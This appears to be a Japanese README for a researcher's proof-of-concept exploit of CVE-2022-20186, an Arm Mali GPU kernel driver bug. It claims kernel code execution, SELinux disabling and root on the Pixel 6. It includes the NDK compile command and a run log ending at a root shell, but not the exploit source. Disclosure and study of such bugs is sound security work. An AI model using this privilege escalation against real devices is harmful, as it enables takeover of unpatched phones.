
CVE-2022-20186 のエクスプロイト。Android 上の Arm Mali カーネルドライバのメモリ破壊を標的とする。任意のカーネルコード実行を獲得し、SELinux を無効化し、Pixel 6 で root 権限に昇格する。
解説はこちらを参照してください。これは、2022年1月に報告したArm Maliカーネルドライバのバグです。このバグを利用すると、信頼されていないアプリドメインから任意のカーネルコード実行が可能になり、SELinuxを無効化してrootを取得できます。
エクスプロイトはGoogle Pixel 6でテストされており、2021年11月から2022年2月までのパッチレベルに対応しています。いくつかのイメージオフセットを変更するだけで、他のファームウェアへの対応を簡単に追加できます。参考までに、ndk-21でclangを使用してコンパイルする際のコマンドは以下の通りです。
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
エクスプロイトが失敗することはほとんどなく、デバイスをクラッシュさせずに再試行できます。成功すると、SELinuxが無効化されrootが取得されます。
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #